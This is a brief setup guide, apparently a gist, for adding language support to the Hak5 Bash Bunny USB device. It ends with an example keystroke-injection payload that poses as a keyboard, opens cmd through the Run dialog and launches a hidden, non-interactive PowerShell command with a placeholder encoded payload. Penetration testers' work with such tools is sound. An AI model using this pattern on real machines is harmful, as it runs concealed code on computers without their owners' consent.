Custom languages don't work without bbpayloads: Fetch the bashbunny payloads:
git clone https://github.com/hak5/bashbunny-payloads.git
Slide the switch to arming position (all the way to the usb plug)
move contents of payloads/library/DuckyInstall
to the payloads/switch1
directory in the bunny
copy the payloads/library/bunny_helpers.sh
to the bashbunny dir payloads/library
Unmount, slide switch to payload1 position (all the way to the back), plug the bunny and wait until the LED blinks white.
Slide to arming, remove the install, add your bunnyscripts and that's it.
Example payload:
#!/bin/bash
LED R
source bunny_helpers.sh
ATTACKMODE HID
Q SET_LANGUAGE HR
Q DELAY 500
Q GUI r
Q STRING cmd
Q ENTER
Q DELAY 500
Q STRING powershell.exe -NoP -sta -NonI -W Hidden -Enc <BASE64 Encoded payload>
Q ENTER
LED G